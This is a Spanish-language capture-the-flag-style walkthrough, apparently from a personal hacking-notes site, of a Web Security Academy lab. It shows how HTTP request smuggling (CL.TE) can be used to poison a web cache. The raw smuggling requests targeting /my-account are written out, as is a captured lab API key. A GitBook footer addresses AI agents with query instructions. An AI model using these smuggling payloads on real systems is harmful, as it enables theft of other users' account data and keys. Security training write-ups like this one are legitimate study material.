> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/web-cache-deception-via-http-request-smuggling.md).

# Engaño de caché web mediante contrabando de solicitudes HTTP

### Aprovechar el contrabando de solicitudes HTTP para realizar una engañosa descompresión de la caché web

Este laboratorio cuenta con un servidor frontal y un servidor de fondo. El servidor frontal no admite codificación fragmentada y almacena en caché algunos recursos estáticos.

El objetivo es realizar un ataque de contrabando de solicitudes para que la siguiente solicitud enviada por una víctima provoque el registro de su clave API en la caché. Luego tendrás que recuperar esta clave API de la caché y enviarla para validar el laboratorio. / Es necesario esperar **30 segundos** después de acceder al laboratorio antes de intentar atrapar a la víctima.

Puedes conectarte a tu propia cuenta con: **wiener:peter**

#### **Notas**

* Aunque el laboratorio admite HTTP/2, la solución se basa en técnicas que solo se pueden hacer en HTTP/1. Es posible cambiar el protocolo en Burp Repeater desde la sección de atributos de la solicitud del Inspector.
* El laboratorio simula la actividad de un usuario víctima. Por cada pocas solicitudes POST enviadas por el atacante, la víctima hará las suyas propias. A veces es necesario repetir el ataque para sincronizar correctamente la secuencia.

#### **Análisis del comportamiento**

En el panel Mi cuenta, tienes tu propia clave API.

<figure><img src="/files/5195faf38be1d8a78aad503f4e57c8ac40a2fde9" alt=""><figcaption></figcaption></figure>

Se observa que el `tracking.js` archivo está en caché durante **30 segundos**.

<figure><img src="/files/31114046b99c943362f7a38cd5a64d05fdec25a8" alt=""><figcaption></figcaption></figure>

#### **Prueba inicial**

Enviando la siguiente solicitud incorrecta:

```http
POST / HTTP/1.1
Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net
Content-Length: 35
Transfer-Encoding: chunked

0

GET /error HTTP/1.1
Prueba: A
```

Obtenemos una respuesta **404**, lo que confirma un comportamiento aprovechable.

<figure><img src="/files/2681c259d757e778f323b0b450a3dfaabdfd0b72" alt=""><figcaption></figcaption></figure>

#### **Contrabando dirigido a /my-account**

A continuación se prepara una solicitud contrabandeada para `/my-account` entonces:

```http
POST / HTTP/1.1
Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net
Content-Length: 38
Transfer-Encoding: chunked

0

GET /my-account HTTP/1.1
Prueba: A
```

Cuando la víctima envía su propia solicitud después de nuestra inyección, la respuesta que contiene \*\*su clave API\*\* se almacena en la caché en lugar de `tracking.js` archivo.

#### **Resultado**

Cuando cargues el recurso almacenado en caché, aparecerá la clave API del administrador:

```
Tu clave API es: WiH6ND6YwY5ISnCFYbKbTKFRwFF4VXnk
```

<figure><img src="/files/0c874a1241e44ee131555c060fa655534896b45c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/web-cache-deception-via-http-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
